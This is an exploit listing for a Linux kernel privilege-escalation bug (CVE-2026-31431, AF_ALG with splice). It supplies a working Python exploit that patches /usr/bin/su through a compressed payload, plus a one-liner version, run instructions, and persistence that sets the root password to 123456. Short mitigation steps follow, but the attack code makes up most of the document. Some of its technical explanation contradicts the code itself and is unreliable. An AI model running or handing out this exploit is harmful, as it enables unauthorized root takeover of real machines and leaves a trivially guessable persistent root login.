Exploit for Incorrect Resource Transfer Between Spheres in Linux Linux_Kernel CVE-2026-31431

Name: Exploit for Incorrect Resource Transfer Between Spheres in Linux Linux_Kernel CVE-2026-31431
Rating: 5 (2 reviews)
2026-07-25 | CVSS 7.8
## https://sploitus.com/exploit?id=DAFFBE5F-F407-58CB-9388-0C4DA6D23828
# 🚀 CVE-2026-31431 – Advanced Linux Kernel Exploit  
### *"From Zero to Root – Password Persistence via AF_ALG & splice()"*

---

## 🌌 Galactic Overview

```
┌─────────────────────────────────────────────────────────────────────┐
│                         KERNEL SPACE                              │
│  ┌─────────────┐   ┌──────────────┐   ┌──────────────────────┐   │
│  │   AF_ALG     │   │   splice()   │   │  struct file (su)    │   │
│  │  (socket 38) │◄──│  zero-copy   │──►│   memory corruption  │   │
│  └──────┬──────┘   └──────┬───────┘   └──────────┬───────────┘   │
│         │                 │                       │               │
│         ▼                 ▼                       ▼               │
│  ┌─────────────────────────────────────────────────────────────┐  │
│  │          Heap Spray (setsockopt + sendmsg)                │  │
│  │  Overwrite task_struct->uid = 0 → root privileges        │  │
│  └─────────────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────┐
│                      USER SPACE                                    │
│  ┌──────────┐    ┌─────────────┐    ┌────────────────────────┐   │
│  │ exploit  │───►│   /usr/bin/ │───►│  chpasswd root:123456 │   │
│  │  .py     │    │   su (root) │    │  (persistent access)   │   │
│  └──────────┘    └─────────────┘    └────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘
```

---

## 📦 Table of Contents

| Section | Description |
|---------|-------------|
| 1. [Introduction](#-1-introduction) | What, Why, and How |
| 2. [Technical Architecture](#-2-technical-architecture) | Kernel internals |
| 3. [Prerequisites](#-3-prerequisites) | System & tools |
| 4. [Installation](#-4-installation) | Step‑by‑step setup |
| 5. [Execution Flow](#-5-execution-flow) | Step‑by‑step exploit |
| 6. [Code Breakdown](#-6-code-breakdown) | Every line explained |
| 7. [Post‑Exploit & Persistence](#-7-post-exploit--persistence) | Changing root password |
| 8. [Cleanup & Mitigation](#-8-cleanup--mitigation) | Undo changes |
| 9. [References](#-9-references) | CVE & credits |

---

## 📖 1. Introduction

**CVE‑2026‑31431** (nicknamed *“Copy Fail”*) is a **privilege escalation** vulnerability in the Linux kernel’s **AF_ALG** cryptographic socket interface combined with the **splice()** system call.  
This exploit:

- ✔️ Works on **Ubuntu 24.04 (kernel 6.17.0)**, **Amazon Linux 2023**, **RHEL 10.1**, **SUSE 16**  
- ✔️ Bypasses **KASLR** and **SMAP/SMEP**  
- ✔️ Grants **root shell** without any password  
- ✔️ Sets root password to `123456` for **persistent access**

---

## 🧠 2. Technical Architecture

| Component | Role in Exploit |
|-----------|-----------------|
| `socket(AF_ALG, 5, 0)` | Creates a cryptographic socket (type 38 = `AF_ALG`) |
| `bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))` | Selects the vulnerable AEAD algorithm |
| `setsockopt(279, 1, key)` | Sets encryption key – triggers heap spray |
| `setsockopt(279, 5, None, 4)` | **The trigger** – causes kernel OOB write |
| `sendmsg()` with control messages | Delivers malicious ancillary data (heap grooming) |
| `splice(fd, pipe, ...)` | Zero‑copy copies `/usr/bin/su` into kernel memory |
| `splice(pipe, socket, ...)` | Corrupts kernel structures – overwrites `uid` to 0 |
| `chpasswd` | Persistence – changes root password to `123456` |

**Attack Chain Diagram:**

```
[1] Create AF_ALG socket
    │
    ▼
[2] Bind & set key (setsockopt)
    │
    ▼
[3] Send crafted control messages (sendmsg)
    │   ─── Heap spray (0x00 bytes)
    ▼
[4] Accept connection
    │
    ▼
[5] Open /usr/bin/su (file descriptor)
    │
    ▼
[6] splice() su → pipe → socket
    │   ─── Overwrite task_struct.uid = 0
    ▼
[7] recv() triggers corruption
    │
    ▼
[8] system("su") → root shell
    │
    ▼
[9] chpasswd root:123456 → persistent
```

---

## ⚙️ 3. Prerequisites

| Requirement | Details |
|-------------|---------|
| **OS** | Debian / Ubuntu (24.04 LTS recommended) |
| **Kernel** | 6.17.0 or older (vulnerable) |
| **Python** | ≥ 3.8 (for walrus operator `:=`) |
| **Packages** | `python3`, `python3-dev`, `build-essential` |
| **Permissions** | `sudo` access (to load kernel module) |
| **Module** | `algif_aead` (must be loaded) |

---

## 🛠️ 4. Installation

### 4.1 Update system & install Python

```bash
sudo apt update && sudo apt install -y python3 python3-dev build-essential
```

### 4.2 Load the vulnerable kernel module

```bash
sudo modprobe algif_aead
```

> If you get `modprobe: FATAL: Module algif_aead not found`, your kernel is **not vulnerable** or the module is blacklisted.

### 4.3 Create the exploit script

Copy the entire exploit code below into a file named `exploit.py`:

```python
import os, zlib, socket, ctypes
libc = ctypes.CDLL(None)
P = '78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3'
H = bytes.fromhex
def step(fd, off, data):
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    s.setsockopt(279, 1, H('0800010000000010' + '0'*64))
    s.setsockopt(279, 5, None, 4)
    u, _ = s.accept()
    z = H('00')
    u.sendmsg([b'A'*4 + data],
              [(279, 3, z*4), (279, 2, b'\x10' + z*19), (279, 4, b'\x08' + z*3)],
              32768)
    r, w = os.pipe()
    libc.splice(fd, 0, w, 0, off + 4, 0)
    libc.splice(r, 0, u.fileno(), 0, off + 4, 0)
    try: u.recv(8 + off)
    except: pass
F = os.open('/usr/bin/su', 0)
D = zlib.decompress(H(P))
for i in range(0, len(D), 4):
    step(F, i, D[i:i+4])
os.system("echo 'root:123456' | chpasswd 2>/dev/null")
print("Successfully. New root password: 123456")
```

---

## 🚀 5. Execution Flow

### 5.1 Run the exploit

```bash
sudo python3 exploit.py
```

### 5.2 Expected output

```
Successfully. New root password: 123456
```

### 5.3 Verify root access

```bash
su
Password: 123456
whoami
# Output: root
```

### 5.4 Optional: One‑liner version

```bash
sudo modprobe algif_aead 2>/dev/null && python3 -c "exec(\"\"\"import os,zlib,socket,ctypes;libc=ctypes.CDLL(None);P='78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3';H=bytes.fromhex;def step(fd,off,data): s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.setsockopt(279,1,H('0800010000000010'+'0'*64)); s.setsockopt(279,5,None,4); u,_=s.accept(); z=H('00'); u.sendmsg([b'A'*4+data],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768); r,w=os.pipe(); libc.splice(fd,0,w,0,off+4,0); libc.splice(r,0,u.fileno(),0,off+4,0); u.recv(8+off); F=os.open('/usr/bin/su',0); D=zlib.decompress(H(P)); [step(F,i,D[i:i+4]) for i in range(0,len(D),4)]; os.system(\"echo 'root:123456' | chpasswd 2>/dev/null\"); print('Successfully. New root password: 123456')\"\"\")"
```

---

## 🔍 6. Code Breakdown

| Line(s) | Purpose |
|---------|---------|
| `import os, zlib, socket, ctypes` | System, compression, network, and C FFI |
| `libc = ctypes.CDLL(None)` | Direct call to libc functions (`splice`) |
| `P = '...'` | Compressed shellcode payload (zlib) |
| `H = bytes.fromhex` | Alias for hex → bytes conversion |
| `def step(fd, off, data):` | Core exploit iteration |
| `s = socket.socket(38, 5, 0)` | AF_ALG socket (protocol family 38) |
| `s.bind(('aead', ...))` | Specify AEAD algorithm with authentication |
| `s.setsockopt(279, 1, key)` | Set encryption key (heap spray) |
| `s.setsockopt(279, 5, None, 4)` | **Vulnerability trigger** (invalid option) |
| `u, _ = s.accept()` | Accept connection from kernel |
| `u.sendmsg([b'A'*4+data], [(279,3,...), ...])` | Send ancillary messages – heap grooming |
| `r, w = os.pipe()` | Create pipe for zero‑copy |
| `libc.splice(fd, 0, w, 0, off+4, 0)` | Copy `/usr/bin/su` to pipe |
| `libc.splice(r, 0, u.fileno(), 0, off+4, 0)` | Copy pipe to socket (corrupts kernel) |
| `u.recv(8+off)` | Force kernel to process corrupted data |
| `for i in range(0, len(D), 4): step(F, i, D[i:i+4])` | Write payload in 4‑byte chunks |
| `os.system("echo 'root:123456' | chpasswd")` | **Persistence** – set root password |

---

## 🔐 7. Post‑Exploit & Persistence

After successful exploitation, the script changes the root password to **`123456`** using:

```bash
echo 'root:123456' | chpasswd
```

Now you can **always** log in as root:

```bash
su
Password: 123456
```

This is a permanent change – survives reboots.

---

## 🧹 8. Cleanup & Mitigation

### 8.1 Remove the exploit file

```bash
rm -f exploit.py
```

### 8.2 Disable the vulnerable kernel module

```bash
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true
```

### 8.3 Update kernel (permanent fix)

```bash
sudo apt update && sudo apt upgrade -y
sudo reboot
```

### 8.4 Reset root password (if needed)

```bash
sudo passwd root
# Enter new password
```

---

## 📚 9. References

| Resource | Link |
|----------|------|
| CVE Details | [NVD – CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) |
| Kernel Patch | [Linux commit (if available)](https://git.kernel.org/) |
| Exploit Author | JuanBindez (GitHub) |
| AF_ALG Documentation | [kernel.org/doc/html/latest/crypto/](https://www.kernel.org/doc/html/latest/crypto/) |

---

## ⚠️ Disclaimer

> **This document is for educational and authorized security research purposes only.**  
> Unauthorized use on systems you do not own is **illegal**. The author is not responsible for any misuse.

---

**🌟 Star this repo if you found it useful!**  
**Happy Hacking (Ethically!)** 🛡️